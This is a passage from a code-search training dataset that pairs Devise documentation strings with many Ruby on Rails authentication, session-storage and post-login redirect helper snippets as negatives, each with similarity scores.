"def user_signed_in?\n session[:userinfo].present?\n end",
"def user_signed_in?\n session[:userinfo].present?\n end",
"def authenticated?\n valid? && !get_authenticated_user.nil?\n end",
"def signed_in?\n !!current_user\n end",
"def signed_in?\n \tcurrent_user\n end",
"def signed_in?\n\t\t!current_user.nil?\n\tend",
"def signed_in?\n\t\t!current_user.nil?\n\tend",
"def signed_in?\n\t\t!current_user.nil?\n\tend",
"def signed_in?\n\t\t!current_user.nil?\n\tend",
"def signed_in?\n\t\t!current_user.nil?\n\tend",
"def signed_in?\n\t\t!current_user.nil?\n\tend",
"def signed_in?\n\t\t!current_user.nil?\n\tend",
"def signed_in?\n\t\t!current_user.nil?\n\tend",
"def signed_in?\n\t\t!current_user.nil?\n\tend",
"def signed_in?\n !current_user.nil?\n # Rails will check if the user is nil/null\n # Rails will check if there is no user (user is empty)\n end",
"def has_scope?( scope )\n scope_names.include?( scope )\n end",
"def logged_in?\n session[:logged_in]\n end",
"def logged_in?\n session[:logged_in]\n end",
"def logged_in?\n #session_authenticated?\n session[:logged_in]\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def signed_in?\n !current_user.nil?\n end"
] | [
"0.7900562",
"0.76219875",
"0.75977343",
"0.64399636",
"0.6398549",
"0.6398549",
"0.6361894",
"0.63464546",
"0.6342149",
"0.6301117",
"0.62513363",
"0.62468064",
"0.6226203",
"0.6195811",
"0.6171738",
"0.61634266",
"0.6163067",
"0.6146949",
"0.6142428",
"0.613042",
"0.61164886",
"0.60987884",
"0.6087855",
"0.60840845",
"0.60840845",
"0.60807526",
"0.60799056",
"0.6067959",
"0.60576934",
"0.60576934",
"0.60576934",
"0.6045416",
"0.6034999",
"0.6018565",
"0.6014319",
"0.60044503",
"0.5996883",
"0.5996883",
"0.59927803",
"0.59927803",
"0.59910977",
"0.59894073",
"0.5982462",
"0.5981208",
"0.59680617",
"0.5963882",
"0.59437513",
"0.5940838",
"0.59406805",
"0.59406805",
"0.59386563",
"0.59305596",
"0.5928747",
"0.59141004",
"0.59116656",
"0.59083116",
"0.5906005",
"0.5906005",
"0.5906005",
"0.5906005",
"0.5899831",
"0.5899695",
"0.5898039",
"0.5897862",
"0.589721",
"0.589721",
"0.58951944",
"0.58951944",
"0.5887612",
"0.58875614",
"0.58821464",
"0.5880298",
"0.5880298",
"0.5880298",
"0.5880298",
"0.5880298",
"0.5880298",
"0.5880298",
"0.5880298",
"0.5880298",
"0.58725446",
"0.5869033",
"0.58646536",
"0.58646536",
"0.5863318",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276",
"0.5862276"
] | 0.0 | -1 |
Returns and delete (if it's navigational format) the url stored in the session for the given scope. Useful for giving redirect backs after sign up: Example: redirect_to stored_location_for(:user) || root_path source://devise//lib/devise/controllers/store_location.rb18 | def stored_location_for(resource_or_scope); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def store_location!(scope)\n session[:\"#{scope}.return_to\"] = request.env['REQUEST_URI'] if request && request.get?\n end",
"def store_location!\n session[:\"#{scope}_return_to\"] = attempted_path if request.get? && !http_auth?\n end",
"def stored_location_for(resource_or_scope)\n session[\"previous_html_url\"] || root_path\n end",
"def stored_location_for(resource_or_scope)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n session.delete(:\"#{scope}_return_to\")\n end",
"def after_sign_in_path_for(resource_or_scope)\n case resource_or_scope\n when :user, User\n store_location = session[:return_to]\n clear_stored_location\n (store_location.nil?) ? \"/\" : store_location.to_s\n else\n super\n end\n end",
"def store_location\n session[:user_return_to] = request.url if request.get? and controller_name != \"sessions\" and controller_name != \"registrations\" and controller_name != \"omniauth_callbacks\"\n end",
"def after_sign_in_path_for(resource_or_scope)\n if (session[:my_previous_url].include?(new_user_session_path)|| \n session[:my_previous_url].include?(user_session_path) || \n session[:my_previous_url].include?(destroy_user_session_path) || \n session[:my_previous_url].include?(user_facebook_omniauth_authorize_path) || \n session[:my_previous_url].include?(user_facebook_omniauth_callback_path) || \n session[:my_previous_url].include?(user_google_oauth2_omniauth_authorize_path) || \n session[:my_previous_url].include?(user_google_oauth2_omniauth_callback_path) || \n session[:my_previous_url].include?(new_user_password_path) || \n session[:my_previous_url].include?(edit_user_password_path) || \n session[:my_previous_url].include?(user_password_path) || \n session[:my_previous_url].include?(cancel_user_registration_path) || \n session[:my_previous_url].include?(new_user_registration_path) || \n session[:my_previous_url].include?(edit_user_registration_path) || \n session[:my_previous_url].include?(user_registration_path) || \n session[:my_previous_url].include?(users_path) || \n session[:my_previous_url].include?(new_user_path) || \n session[:my_previous_url].include?(edit_user_path(current_user)) || \n session[:my_previous_url].include?(user_path(current_user)))\n \n session[:my_previous_url] = root_path\n end\n\n stored_location_for(resource_or_scope) || session[:my_previous_url]\n end",
"def after_sign_in_path_for(resource_or_scope)\n case resource_or_scope\n when :user, User\n store_location = session[:return_to]\n clear_stored_location\n store_location = \"/\" if store_location && store_location.include?(\"/users/\")\n (store_location.nil?) ? \"/\" : store_location.to_s\n else\n super\n end\n end",
"def store_location\n session[:return_to] = request.request_uri unless request.request_uri == \"/logout\"\n end",
"def after_sign_in_path_for(resource_or_scope)\n s = stored_location_for(resource_or_scope) # nb returns and deletes\n if s && s[0] == '/' && s != '/'\n s.slice!(0) # remove the leading slash\n if current_user.remembered_group?\n # is there a cleaner way than using root_url?\n root_url(protocol: 'http', subdomain: current_user.remembered_group.short_name) + s\n else\n root_url(protocol: 'http') + s\n end\n else\n if current_user.remembered_group?\n dashboard_url(protocol: 'http', subdomain: current_user.remembered_group.short_name)\n else\n dashboard_url(protocol: 'http')\n end\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n store_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n stored_location_for(resource) || online_root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n pop_stored_location ||\n sanitized_stored_location_for(resource_or_scope) ||\n signed_in_root_path(resource_or_scope)\n end",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def after_sign_up_path_for(resource_or_scope)\n if session[:redirect_url]\n session.delete(:redirect_url)\n else\n super\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n if params[:from] == 'admin'\n session['user_return_to'] = admin_root_path\n end\n\n new_user_session_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n if Rails.env.production?\n request.env['omniauth.origin'] || stored_location_for(resource_or_scope) || KISALLI_URL\n else\n request.env['omniauth.origin'] || stored_location_for(resource_or_scope) || root_path\n end\n end",
"def store_location\n session[:return_to] = request.fullpath if request.get? and controller_name != \"user_sessions\" and controller_name != \"sessions\"\n end",
"def after_sign_in_path_for(resource_or_scope)\n if !session[:return_location].nil?\n return_location = session[:return_location]\n session[:return_location] = nil\n end\n return_location || stored_location_for(resource_or_scope) || signed_in_root_path(resource_or_scope)\n end",
"def after_sign_out_path_for(resource_or_scope)\n # 'http://www.google.com'\n ENV[\"APPLICATION_URL\"]\n end",
"def store_location\n\t\t# store last url - this is needed for post-login redirect to whatever the user last visited.\n\t\tif (request.fullpath != \"/users/sign_in\" &&\n\t\t\t\trequest.fullpath != \"/users/sign_up\" &&\n\t\t\t\trequest.fullpath != \"/users/password\" &&\n\t\t\t\trequest.fullpath != \"/users/sign_out\" &&\n\t\t\t\trequest.fullpath !~ /\\/users\\/confirmation/i &&\n\t\t\t\t!request.xhr?) # don't store ajax calls\n\t\t\tsession[:previous_url] = request.fullpath\n\t\tend\n\tend",
"def store_location\n\t # store last url - this is needed for post-login redirect to whatever the user last visited.\n\t if !devise_controller? && !request.xhr? # don't store ajax calls\n\t session[:previous_url] = request.fullpath \n\t end\n\tend",
"def after_sign_out_path_for(resource_or_scope)\n url = params[:continue]\n if !url.blank? &&\n valid_url?(url) &&\n @logged_out_user &&\n member_subdomain?(\n Doorkeeper::Application.authorized_for(@logged_out_user).map(&:url).compact,\n url)\n return url\n end\n super(resource_or_scope)\n end",
"def store_location\n if request.get? && request.format.html? && !request.xhr? && !devise_controller?\n session[:\"user_return_to\"] = request.fullpath\n end\n end",
"def store_location(url = url_for(:controller => controller_name, :action => action_name))\n # It's possible to create a redirection attack with a redirect to data: protocol... and possibly others, so:\n # Whitelisting redirection to our own site and relative paths.\n url = nil unless url =~ /\\A([%2F\\/]|#{root_url})/\n session[:return_to] = url\n end",
"def after_sign_out_path_for(resource_or_scope)\n return session_path(resource_or_scope)\n end",
"def stored_location_for(resource_or_scope)\n root_url\n end",
"def after_sign_in_path_for(resource_or_scope)\n return session['user_return_to'] if session['user_return_to'].present?\n\n if defined? session[:return_to]\n if session[:return_to].ends_with? 'admin'\n if can? :access_units_index, :admin\n return admin_units_url\n elsif can? :access_courses_index, :admin\n return admin_unit_url(current_user.units.first)\n else\n unit_course_url(Unit.first, Course.first)\n end\n elsif params[:controller] == \"devise/passwords\"\n unit_url(Unit.first)\n else\n return session[:return_to]\n end\n else\n unit_course_url(Unit.first, Course.first)\n end\n end",
"def scope_path\n opts = {}\n route = :\"new_#{scope}_session_path\"\n alt_route = :\"new_#{scope}_ichain_session_path\"\n opts[:format] = request_format unless skip_format?\n\n config = Rails.application.config\n opts[:script_name] = (config.relative_url_root if config.respond_to?(:relative_url_root))\n\n context = send(Devise.available_router_name)\n\n if context.respond_to?(route)\n context.send(route, opts)\n elsif context.respond_to?(alt_route)\n context.send(alt_route, opts)\n elsif respond_to?(:root_path)\n root_path(opts)\n else\n \"/\"\n end\n end",
"def store_location\n # store last url as long as it isn't a /users path\n\tsession[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/ or request.fullpath =~ /\\/json/ or request.fullpath =~ /\\/static/\n\t\n end",
"def store_location\n session[:redirect_path] = request.path\n end",
"def store_location\n # store last url - this is needed for post-login redirect to whatever the user last visited.\n if (request.path != \"/users/sign_in\" &&\n request.path != \"/users/sign_up\" &&\n request.path != \"/users/password/new\" &&\n request.path != \"/users/password/edit\" &&\n request.path != \"/users/confirmation\" &&\n request.path != \"/users/sign_out\" &&\n !request.fullpath.match(/\\/users\\/auth\\//) &&\n !request.xhr?) # don't store ajax calls\n session[:previous_url] = request.fullpath\n end\n end",
"def after_sign_out_path_for resource_or_scope\n redirect_uri = params[:redirect_uri]\n redirect_uri ? redirect_uri : super\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n request.env['HTTP_REFERER'] || '/'\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session['user_return_to'] = request.original_url\n end",
"def after_sign_in_path_for(resource_or_scope)\n\t stored_location_for(resource_or_scope) || super\n\tend",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def after_sign_in_path_for(resource_or_scope)\n if params[:return_to].present?\n session[:return_to] = params[:return_to]\n elsif session[:return_to].present?\n session[:return_to]\n else\n root_url\n end\n end",
"def stored_location_for(resource_or_scope)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n session.key?(:\"#{scope}_return_to\") ? session.delete(:\"#{scope}_return_to\") + format_suffix : nil\n end",
"def after_sign_out_path_for(_resource_or_scope)\n params[:return_url] || root_path\n end",
"def store_devise_redirect_location\n return if request.xhr?\n return if !request.get?\n\n not_store_for = {\n registrations: %w[ new ],\n confirmation: %w[ new ],\n sessions: %w[ new ],\n passwords: %w[ new edit ],\n omniauth_callbacks: %[ vkontakte facebook twitter google_oauth2 odnoklassniki failure ],\n\n users: %w[ profile ],\n carts: %w[ index ],\n orders: %w[ index ]\n }.with_indifferent_access\n\n return if not_store_for.try(:[], controller_name).try(:include?, action_name)\n\n cookies[:previous_location] = request.fullpath\n end",
"def after_sign_out_path_for(resource_or_scope)\n #raise resource_or_scope.inspect\n root_url(:protocol => 'http')\n end",
"def store_location\n session[:redirect] = request.url\n end",
"def after_sign_out_path_for(resource_or_scope)\n #new_user_session_path\n send(\"new_#{resource_or_scope}_session_path\")\n end",
"def store_location\n unless controller_name == \"sessions\" || action_name == \"activate\"\n session[:return_to] =\n if request.get?\n request.request_uri\n else\n request.referer\n end\n end\n end",
"def sanitized_stored_location_for(resource_or_scope)\n # `stored_location_for` is the devise method that pops the\n # scoped `return_to` key\n location = stored_location_for(resource_or_scope)\n location.sub!(\"//\", \"/\") if location.respond_to?(:sub!)\n location\n end",
"def store_location\n\t\t\tsession[:return_to] = request.fullpath\n\t\tend",
"def store_location\n session[:return_to] = request.request_uri if not current_user\n end",
"def store_location\n # RAILS 3 request_uri is deprecated, use fullpath instead\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:redirect_stack] ||= []\n session[:redirect_stack] << request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n\t\tsession[:return_to] = request.fullpath\n\tend",
"def store_location\n\t\tsession[:return_to] = request.fullpath\n\tend",
"def store_location\n session[:return_to] = request.url\n end",
"def after_sign_out_path_for(resource_or_scope)\n if request.referer.blank? || request.referer.to_s =~ /admin/\n root_path\n else\n request.referer\n end\n end",
"def store_location\n session[:redirect_after_login] = request.request_uri\n end",
"def store_location\n session[:return_to] = request.url if request.get?\n end",
"def store_location\n session[:return_to] = request.url if request.get?\n end",
"def store_location\n session[:return_to] = request.url if request.get?\n end",
"def store_location\n session[:return_to] = request.url if request.get?\n end",
"def store_location\n session[:return_to] = request.url if request.get?\n end",
"def store_location\n session[:return_to] = request.url if request.get?\n end",
"def store_location\n session[:return_to] = request.url if request.get?\n end",
"def store_location!\n store_location_for(scope, attempted_path) if request.get? && !http_auth?\n end",
"def after_sign_out_path_for(resource_or_scope)\n login_url\n end",
"def store_location\n store_location_for(:user, params[:redirect_to]) if params[:redirect_to].present?\n\n # note: don't store the previous url on each call. this led to an issue where\n # missing asset might get run through this code, causing the user to be redirected\n # to the missing asset during a login\n # session[:previous_url] = request.url if request.url != new_user_session_url\n end",
"def store_location\n session[:return_to] = request.fullpath \n end",
"def store_location\n\t\t\tsession[:return_to] = request.fullpath\n\t end",
"def store_location\n session[:redirect_url] = params[:redirect_url] if params[:redirect_url]\n session[:role] = params[:role] if params[:role]\n end",
"def store_location\n if(request.path != \"/profiles/sign_in\" &&\n request.path != \"/profiles/sign_up\" &&\n request.path != \"/profiles/password/new\" &&\n request.path != \"/profiles/password/edit\" &&\n request.path != \"/profiles/confirmation\" &&\n request.path != \"/uprofiles/sign_out\" &&\n !request.xhr? && !current_profile) # don't store ajax calls\n session[:previous_url] = request.fullpath\n end\n end",
"def store_location\n if(request.path != \"/profiles/sign_in\" &&\n request.path != \"/profiles/sign_up\" &&\n request.path != \"/profiles/password/new\" &&\n request.path != \"/profiles/password/edit\" &&\n request.path != \"/profiles/confirmation\" &&\n request.path != \"/uprofiles/sign_out\" &&\n !request.xhr? && !current_profile) # don't store ajax calls\n session[:previous_url] = request.fullpath\n end\n end",
"def store_location\n if(request.path != \"/profiles/sign_in\" &&\n request.path != \"/profiles/sign_up\" &&\n request.path != \"/profiles/password/new\" &&\n request.path != \"/profiles/password/edit\" &&\n request.path != \"/profiles/confirmation\" &&\n request.path != \"/uprofiles/sign_out\" &&\n !request.xhr? && !current_profile) # don't store ajax calls\n session[:previous_url] = request.fullpath\n end\n end",
"def store_location\n if(request.path != \"/profiles/sign_in\" &&\n request.path != \"/profiles/sign_up\" &&\n request.path != \"/profiles/password/new\" &&\n request.path != \"/profiles/password/edit\" &&\n request.path != \"/profiles/confirmation\" &&\n request.path != \"/uprofiles/sign_out\" &&\n !request.xhr? && !current_profile) # don't store ajax calls\n session[:previous_url] = request.fullpath\n end\n end",
"def store_location\n if(request.path != \"/profiles/sign_in\" &&\n request.path != \"/profiles/sign_up\" &&\n request.path != \"/profiles/password/new\" &&\n request.path != \"/profiles/password/edit\" &&\n request.path != \"/profiles/confirmation\" &&\n request.path != \"/uprofiles/sign_out\" &&\n !request.xhr? && !current_profile) # don't store ajax calls\n session[:previous_url] = request.fullpath\n end\n end",
"def store_location\n if(request.path != \"/profiles/sign_in\" &&\n request.path != \"/profiles/sign_up\" &&\n request.path != \"/profiles/password/new\" &&\n request.path != \"/profiles/password/edit\" &&\n request.path != \"/profiles/confirmation\" &&\n request.path != \"/uprofiles/sign_out\" &&\n !request.xhr? && !current_profile) # don't store ajax calls\n session[:previous_url] = request.fullpath\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n\n if ::Milia.signout_to_root\n root_path # return to index page\n else\n # or return to sign-in page\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n send(:\"new_#{scope}_session_path\")\n end\n\n end",
"def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend",
"def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend",
"def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend",
"def after_sign_in_path_for(resource_or_scope)\n return '/admin' if current_user.try(:admin?)\n store_url\n end",
"def store_location\n session[ :return_to ] = request.url if request.get?\n end",
"def after_sign_out_path_for(resource_or_scope)\n request.referrer\n end"
] | [
"0.7218671",
"0.6668747",
"0.6617072",
"0.6574878",
"0.65582144",
"0.6486702",
"0.64611137",
"0.6386886",
"0.6368797",
"0.6304412",
"0.627545",
"0.62740964",
"0.62702525",
"0.62541217",
"0.62541217",
"0.62541217",
"0.62541217",
"0.62541217",
"0.62541217",
"0.6238528",
"0.62333226",
"0.62312746",
"0.6230723",
"0.6220965",
"0.6212254",
"0.6211353",
"0.6209683",
"0.6205258",
"0.61847883",
"0.6123263",
"0.6120565",
"0.611511",
"0.6106127",
"0.6104759",
"0.6100775",
"0.609132",
"0.60910195",
"0.6090633",
"0.60744864",
"0.60726136",
"0.6067329",
"0.60661185",
"0.60661185",
"0.60661185",
"0.60661185",
"0.60565937",
"0.6054894",
"0.60521215",
"0.60509855",
"0.6048522",
"0.6047196",
"0.6031637",
"0.60292405",
"0.6017012",
"0.60082906",
"0.6005753",
"0.5986084",
"0.5985446",
"0.5961918",
"0.5957449",
"0.59554005",
"0.5950336",
"0.5950336",
"0.5950336",
"0.5950336",
"0.5950336",
"0.5950336",
"0.5950336",
"0.5950336",
"0.5950336",
"0.5946381",
"0.5946381",
"0.59370226",
"0.5934997",
"0.59295416",
"0.5924183",
"0.5924183",
"0.5924183",
"0.5924183",
"0.5924183",
"0.5924183",
"0.5924183",
"0.5906043",
"0.5905045",
"0.59017247",
"0.5893531",
"0.58870333",
"0.5886694",
"0.58850664",
"0.58850664",
"0.58850664",
"0.58850664",
"0.58850664",
"0.58850664",
"0.5878818",
"0.58787745",
"0.58787745",
"0.58787745",
"0.58783233",
"0.5870059",
"0.58651453"
] | 0.0 | -1 |
Choose whether we should respond in an HTTP authentication fashion, including 401 and optional headers. This method allows the user to explicitly disable HTTP authentication on AJAX requests in case they want to redirect on failures instead of handling the errors on their own. This is useful in case your AJAX API is the same as your public API and uses a format like JSON (so you cannot mark JSON as a navigational format). | def http_auth?; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allow_client_to_handle_unauthorized_status\n headers.delete('WWW-Authenticate')\n end",
"def require_authentication\n render_failed_auth_response unless authentication_successful? # render a 401 error\n end",
"def require_authentication\n render_failed_auth_response unless authentication_successful? # render a 401 error\n end",
"def http_auth?\n if request.xhr?\n Oath.config.http_authenticatable_on_xhr\n else\n !Oath::Lockdown.navigational_format?(request)\n end\n end",
"def http_auth?\n if request.xhr?\n Devise.http_authenticatable_on_xhr\n else\n !(request_format && is_navigational_format?)\n end\n end",
"def http_auth_header?\n Oath.config.http_authenticatable && !request.xhr?\n end",
"def authenticate\n respond_to do |format|\n format.js { render nothing: true, status: 401 if current_user.nil? }\n format.html { redirect_to root_url if current_user.nil? }\n end\n end",
"def access_only_for_ajax\r\n unless request.xhr?\r\n render :text => \"Here is an Ajax Service, regular request without security token are denied.\"\r\n return false\r\n end\r\n end",
"def authenticate_if_needed\n # Disable this extra authentication in test mode\n return true if Rails.env.test?\n if (is_hidden || is_staging) && !is_api_or_pdf\n authenticate_or_request_with_http_basic do |username, password|\n username == \"samvera\" && password == \"hyku\"\n end\n end\n end",
"def authenticate_request\n render :json => { :error => :unauthorized }, :status => :unauthorized unless current_user\n end",
"def access_denied\n respond_to do |accepts|\n accepts.html do\n store_location\n redirect_to :controller => '/accounts', :action => 'login'\n end\n accepts.js do\n render(:update) { |page| page.redirect_to(:controller => '/accounts', :action => 'login') }\n end\n accepts.xml do\n headers[\"Status\"] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n render :text => \"Could't authenticate you\", :status => '401 Unauthorized'\n end\n end\n false\n end",
"def require_auth\n (authorized? && authenticated?) || halt(401)\n end",
"def access_denied\n respond_to do |accepts|\n accepts.html do\n store_location\n redirect_to '/login'\n end\n accepts.xml do\n headers[\"Status\"] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n render :text => \"Could't authenticate you\", :status => '401 Unauthorized'\n end\n end\n false\n end",
"def unauthorized\n respond_to do |format|\n format.html do\n if admin?\n flash.now[:error] = I18n.t(:authorization_failure)\n redirect_to login_path and return\n elsif current_user || admin?\n flash.now[:error] = I18n.t(:authorization_failure)\n render 'shared/unauthorized'\n else\n store_location\n redirect_to login_path and return\n end\n end\n format.xml do\n request_http_basic_authentication 'Web Password'\n end\n format.json do\n render :text => \"Not Authorized \\n\", :status => 401\n end\n end\n end",
"def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end",
"def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end",
"def access_denied\n respond_to do |accepts|\n accepts.html do\n store_location\n redirect_to login_url\n # redirect_to signup_path\n end\n accepts.xml do\n headers[\"Status\"] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n render :text => \"Could't authenticate you\", :status => '401 Unauthorized'\n end\n accepts.js do\n render(:update) {|p| p.redirect_to(login_url) }\n # render(:update) {|p| p.redirect_to(signup_path) }\n end \n end\n false\n end",
"def access_denied\n puts \"access denied\"\n respond_to do |accepts|\n accepts.html do\n store_location\n # render :text => \"Authentication failed: access denied\"\n redirect_to log_in_path\n end\n accepts.json do\n render :json => {:success => false, :message => \"Authentication failed\"}\n end\n accepts.xml do\n headers[\"Status\"] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n render :text => \"Could't authenticate you\", :status => '401 Unauthorized'\n end\n end\n false\n end",
"def unauthenticated\n return app_unauthenticated unless core.request?\n \n provides :xml, :js, :json, :yaml\n case content_type\n when :html\n render_core_exception :unauthenticated\n else\n basic_authentication.request!\n \"\"\n end\n end",
"def request_authorization_for_xhr!\n render html: auto_submit_form_html, status: :unauthorized\n end",
"def unauthenticated\n render_json status: :unauthorized\n end",
"def deny_access\n @status = 401\n respond_to do |format|\n format.html { render template: \"errors/401\", status: @status, layout: \"errors\" }\n format.all { render nothing: true, status: @status }\n end\n end",
"def require_auth\n head :unauthorized unless current_user\n end",
"def authenticate\n\n # This suppresses the log in suggestion on subsequent\n # request if the user clicks \"No\"\n if params[:stay_anonymous]\n cookies[:shunt_hint] = 'anonymous'\n logger.info \"Suppressing log in suggestion\"\n redirect_to url_for(params.except!(:stay_anonymous))\n end\n\n if params[:public]\n cookies[:shunt_hint] = 'public'\n redirect_to url_for(params.except!(:public))\n end\n\n if should_force_authentication\n force_authentication\n end\n end",
"def authenticate\n render json: { error: 'Access Denied' }, status: 401 unless current_user\n end",
"def is_authenticated\n render json:{}, status:204\n end",
"def restrict_basic_auth\n request.env['HTTP_AUTHORIZATION'] = '' unless request.format.symbol.eql?(:json) || request.format.symbol.eql?(:xml)\n end",
"def check_xhr_header\n return if request.xhr?\n\n render json: { error: 'forbidden' }, status: :forbidden\n end",
"def require_login\n @response.add_header('WWW-Authenticate', \"Basic realm=\\\"#{@realm}\\\"\")\n @response.status = 401\n end",
"def not_authorised\n headers['WWW-Authenticate'] = 'Basic realm=\"Restricted Area\"'\n error(401, 'Not authorised.')\n end",
"def ensure_authenticated_user\n render json: {message: 'Unauthorized'}, status: 401 unless current_user\n # head :unauthorized unless current_user\n end",
"def bounce_to_http_basic()\n unless current_user\n request_http_basic_authentication\n return\n end\n\n respond_to do |format|\n format.html do\n render 'session/forbidden', layout: false, status: :forbidden\n end\n format.json do\n render json: { error: \"You're not allowed to access that\" }\n end\n end\n end",
"def authenticate_with_response\n render nothing: true, status: 401 if current_user.nil?\n end",
"def restrict_access\n head :unauthorized and return false unless current_user\n end",
"def render_unauthorized\n logger.debug \" *** UNAUTHORIZED REQUEST: '#{request.env['HTTP_AUTHORIZATION']}' ***\"\n self.headers['WWW-Authenticate'] = 'Token realm=\"Application\"'\n render json: {error: \"Bad credentials\"}, status: 401\n end",
"def authenticate\n case request.format\n when Mime::XML, Mime::JSON\n unless logged_in? && admin?\n authenticate_or_request_with_http_basic do |user_name, password|\n user_name == USER_NAME && password == PASSWORD\n end\n end\n else\n render_404 and return unless logged_in? && admin?\n end\n end",
"def optional_authenticate\n if request.env['HTTP_AUTHORIZATION']\n admin_authenticate\n end\n end",
"def not_authorized\r\n render :file => 'public/401.html', :status => 401, :layout => false\r\n end",
"def access_denied\n clear_session\n respond_to do |format|\n format.html { redirect_to login_path and return false }\n format.xml do\n headers['Status'] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n render :text =>'Unauthorized', :status=>401\n end\n end\n end",
"def require_http_basic_auth\n if APP_CONFIG['perform_authentication']\n authenticate_or_request_with_http_basic do |login, password|\n login==APP_CONFIG['username'] and password == APP_CONFIG['password']\n end\n end\n end",
"def skip_authentication?\n true\n end",
"def none_authenticate\n authenticate_or_request_with_http_basic \"Raptor\" do |user_name, password|\n logger.debug(\"none_authenticate as #{user_name}\")\n common_authenticate(user_name)\n return true\n end\n return false\n end",
"def process_no_auth(request, response)\n response.start(401, true) do |head,out|\n head['WWW-Authenticate'] = 'NTLM'\n end\n end",
"def unauthenticated\n { :json => {success: false, \n error: \"You must authenticate in order to make this request.\",\n status: \"401\"}, \n :status => \"401\" }\n end",
"def access_denied\n case content_type\n when :html\n store_location\n redirect url(:login)\n when :xml\n headers[\"Status\"] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n set_status(401)\n render :text => \"Couldn't authenticate you\"\n end\n end",
"def require_no_authentication\n end",
"def require_login!\n return true if authenticate_token\n render json: { errors: [ { detail: \"Access denied\" } ] }, status: 401\n end",
"def require_login!\n return true if authenticate_token\n render json: { errors: [ { detail: \"Access denied\" } ] }, status: 401\n end",
"def unauthorized\n respond_to do |format|\n format.html do\n if try_spree_current_user\n flash.now[:error] = t(:authorization_failure)\n render 'spree/shared/unauthorized', :layout => Spree::Config[:layout], :status => 401\n else\n store_location\n url = respond_to?(:spree_login_path) ? spree_login_path : root_path\n redirect_to url\n end\n end\n format.xml do\n request_http_basic_authentication 'Web Password'\n end\n format.json do\n render :text => \"Not Authorized \\n\", :status => 401\n end\n end\n end",
"def browsers_only\n if !valid_browser?(request.user_agent) or valid_robot?(request.user_agent)\n respond_to do |format|\n format.html { render :file => \"public/401.html\", :status => :unauthorized }\n format.xml do\n headers[\"Status\"] = \"Unauthorized\"\n render :text => \"You appear to be a robot. No robots are allowed to access this page.\", :status => '401 Unauthorized'\n end\n end\n end\n end",
"def authenticate\n logged_in? || access_denied\n end",
"def authenticate\n logged_in? || access_denied\n end",
